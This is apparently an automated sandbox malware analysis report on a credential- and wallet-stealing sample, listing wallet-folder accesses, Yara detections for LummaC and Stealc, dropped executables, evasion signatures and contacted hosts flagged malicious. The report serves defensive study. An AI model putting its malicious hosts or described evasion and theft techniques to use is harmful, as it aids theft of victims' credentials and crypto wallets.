Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PIVFAGEAAV Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EEGWXUHVUG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PIVFAGEAAV Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EEGWXUHVUG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EEGWXUHVUG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EEGWXUHVUG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\ZIPXYXWIOY Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: number of queries: 1523
Yara detected Credential Stealer
Source: Yara match File source: 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2963743388.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2934344694.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2947463685.000000000121C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2926089186.00000000059A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2910512234.00000000059A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2914064693.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 3f779c1cca.exe PID: 6836, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3f779c1cca.exe PID: 6828, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: 0000000F.00000003.3103917580.000000000109F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.3268917085.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: fb9fc5d370.exe PID: 1732, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fb9fc5d370.exe PID: 2580, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 1340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3f779c1cca.exe PID: 6836, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3f779c1cca.exe PID: 6828, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 31.2.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.0.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.B7KMZCE66VGDP83M16.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3125212572.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.3094487881.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 994a9a760e.exe PID: 4024, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 4948, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 994a9a760e.exe PID: 5692, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1540746 Sample: file.exe Startdate: 24/10/2024 Architecture: WINDOWS Score: 100 97 studennotediw.store 2->97 99 steamcommunity.com 2->99 101 38 other IPs or domains 2->101 125 Suricata IDS alerts for network traffic 2->125 127 Found malware configuration 2->127 129 Antivirus detection for URL or domain 2->129 131 17 other signatures 2->131 9 skotes.exe 4 25 2->9         started        14 file.exe 3 2->14         started        16 3f779c1cca.exe 2->16         started        18 4 other processes 2->18 signatures3 process4 dnsIp5 111 185.215.113.43, 49993, 49994, 49998 WHOLESALECONNECTIONSNL Portugal 9->111 79 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 9->79 dropped 81 C:\Users\user\AppData\...\fb9fc5d370.exe, PE32 9->81 dropped 95 6 other malicious files 9->95 dropped 177 Creates multiple autostart registry keys 9->177 199 3 other signatures 9->199 20 3f779c1cca.exe 3 9->20         started        24 994a9a760e.exe 9->24         started        26 fb9fc5d370.exe 9->26         started        28 num.exe 9->28         started        113 sergei-esenin.com 104.21.53.8, 443, 49713, 49714 CLOUDFLARENETUS United States 14->113 115 steamcommunity.com 104.102.49.254, 443, 49711, 49997 AKAMAI-ASUS United States 14->115 117 185.215.113.16, 49774, 49996, 50000 WHOLESALECONNECTIONSNL Portugal 14->117 83 C:\Users\...\QZRNZLINJW4FDHW89WOCWU0IJ.exe, PE32 14->83 dropped 85 C:\Users\user\...\B7KMZCE66VGDP83M16.exe, PE32 14->85 dropped 87 C:\Users\...\8Z5C764IBSHZ8A5U9SVRCREF.exe, PE32 14->87 dropped 179 Query firmware table information (likely to detect VMs) 14->179 181 Found many strings related to Crypto-Wallets (likely being stolen) 14->181 183 Tries to evade debugger and weak emulator (self modifying code) 14->183 201 2 other signatures 14->201 30 QZRNZLINJW4FDHW89WOCWU0IJ.exe 4 14->30         started        32 8Z5C764IBSHZ8A5U9SVRCREF.exe 14->32         started        34 B7KMZCE66VGDP83M16.exe 13 14->34         started        89 C:\Users\user\...\QVVPAZNCIISWKSVDLM23B.exe, PE32 16->89 dropped 91 C:\Users\...\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe, PE32 16->91 dropped 93 C:\Users\user\...\HR483MUGWRQ77A8EZ5D.exe, PE32 16->93 dropped 185 Tries to harvest and steal ftp login credentials 16->185 187 Tries to harvest and steal browser information (history, passwords, etc) 16->187 189 Tries to steal Crypto Currency Wallets 16->189 191 Antivirus detection for dropped file 18->191 193 Detected unpacking (changes PE section rights) 18->193 195 Binary is likely a compiled AutoIt script file 18->195 197 Machine Learning detection for dropped file 18->197 37 firefox.exe 18->37         started        39 6 other processes 18->39 file6 signatures7 process8 dnsIp9 71 C:\Users\user\...\DBQJ2COS8NEE0DVFAHC8.exe, PE32 20->71 dropped 73 C:\...\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe, PE32 20->73 dropped 75 C:\...\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, PE32 20->75 dropped 133 Antivirus detection for dropped file 20->133 135 Multi AV Scanner detection for dropped file 20->135 137 Query firmware table information (likely to detect VMs) 20->137 153 2 other signatures 20->153 41 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe 20->41         started        44 DBQJ2COS8NEE0DVFAHC8.exe 20->44         started        46 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe 20->46         started        139 Binary is likely a compiled AutoIt script file 26->139 48 taskkill.exe 26->48         started        50 taskkill.exe 26->50         started        54 4 other processes 26->54 77 C:\Users\user\AppData\Local\...\skotes.exe, PE32 30->77 dropped 141 Detected unpacking (changes PE section rights) 30->141 143 Machine Learning detection for dropped file 30->143 145 Tries to evade debugger and weak emulator (self modifying code) 30->145 147 Tries to detect virtualization through RDTSC time measurements 30->147 52 skotes.exe 30->52         started        149 Modifies windows update settings 32->149 151 Disables Windows Defender Tamper protection 32->151 155 2 other signatures 32->155 103 185.215.113.37, 49995, 80 WHOLESALECONNECTIONSNL Portugal 34->103 157 3 other signatures 34->157 105 youtube.com 142.250.186.46 GOOGLEUS United States 37->105 107 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 37->107 109 2 other IPs or domains 37->109 56 2 other processes 37->56 58 6 other processes 39->58 file10 signatures11 process12 dnsIp13 159 Antivirus detection for dropped file 41->159 161 Multi AV Scanner detection for dropped file 41->161 163 Detected unpacking (changes PE section rights) 41->163 165 Machine Learning detection for dropped file 44->165 167 Tries to evade debugger and weak emulator (self modifying code) 44->167 169 Hides threads from debuggers 44->169 171 Tries to detect sandboxes and other dynamic analysis tools (window names) 46->171 173 Tries to detect sandboxes / dynamic malware analysis system (registry check) 46->173 175 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 46->175 61 conhost.exe 48->61         started        63 conhost.exe 50->63         started        65 conhost.exe 54->65         started        67 conhost.exe 54->67         started        69 conhost.exe 54->69         started        119 push.services.mozilla.com 34.107.243.93 GOOGLEUS United States 58->119 121 telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 GOOGLEUS United States 58->121 123 4 other IPs or domains 58->123 signatures14 process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.53.8
 sergei-esenin.com United States
13335 CLOUDFLARENETUS true
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
142.250.186.46
 youtube.com United States
15169 GOOGLEUS false
185.215.113.37
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.149.100.209
 prod.remote-settings.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
34.107.243.93
 push.services.mozilla.com United States
15169 GOOGLEUS false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS true
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
34.120.208.123
 telemetry-incoming.r53-2.services.mozilla.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
star-mini.c10r.facebook.com 157.240.251.35 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
twitter.com 104.244.42.129 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
sergei-esenin.com 104.21.53.8 true
dyna.wikimedia.org 185.15.59.224 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.186.46 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
youtube-ui.l.google.com 172.217.18.110 true
steamcommunity.com 104.102.49.254 true
us-west1.prod.sumo.prod.webservices.mozgcp.net 34.149.128.2 true
reddit.map.fastly.net 151.101.129.140 true
ipv4only.arpa 192.0.0.170 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
push.services.mozilla.com 34.107.243.93 true
telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 true
www.reddit.com unknown unknown
spirittunek.store unknown unknown
spocs.getpocket.com unknown unknown
licendfilteo.site unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
support.mozilla.org unknown unknown
eaglepawnoy.store unknown unknown
firefox.settings.services.mozilla.com unknown unknown
www.youtube.com unknown unknown
www.facebook.com unknown unknown
bathdoomgaz.store unknown unknown
detectportal.firefox.com unknown unknown
studennotediw.store unknown unknown
mobbipenju.store unknown unknown
shavar.services.mozilla.com unknown unknown
clearancek.site unknown unknown
dissapoiznw.store unknown unknown
www.wikipedia.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
studennotediw.store true
    		unknown
    dissapoiznw.store true
      		unknown
      https://steamcommunity.com/profiles/76561199724331900 true
        		unknown
        eaglepawnoy.store true
          		unknown
          http://185.215.113.37/ true
          • URL Reputation: malware
          		 unknown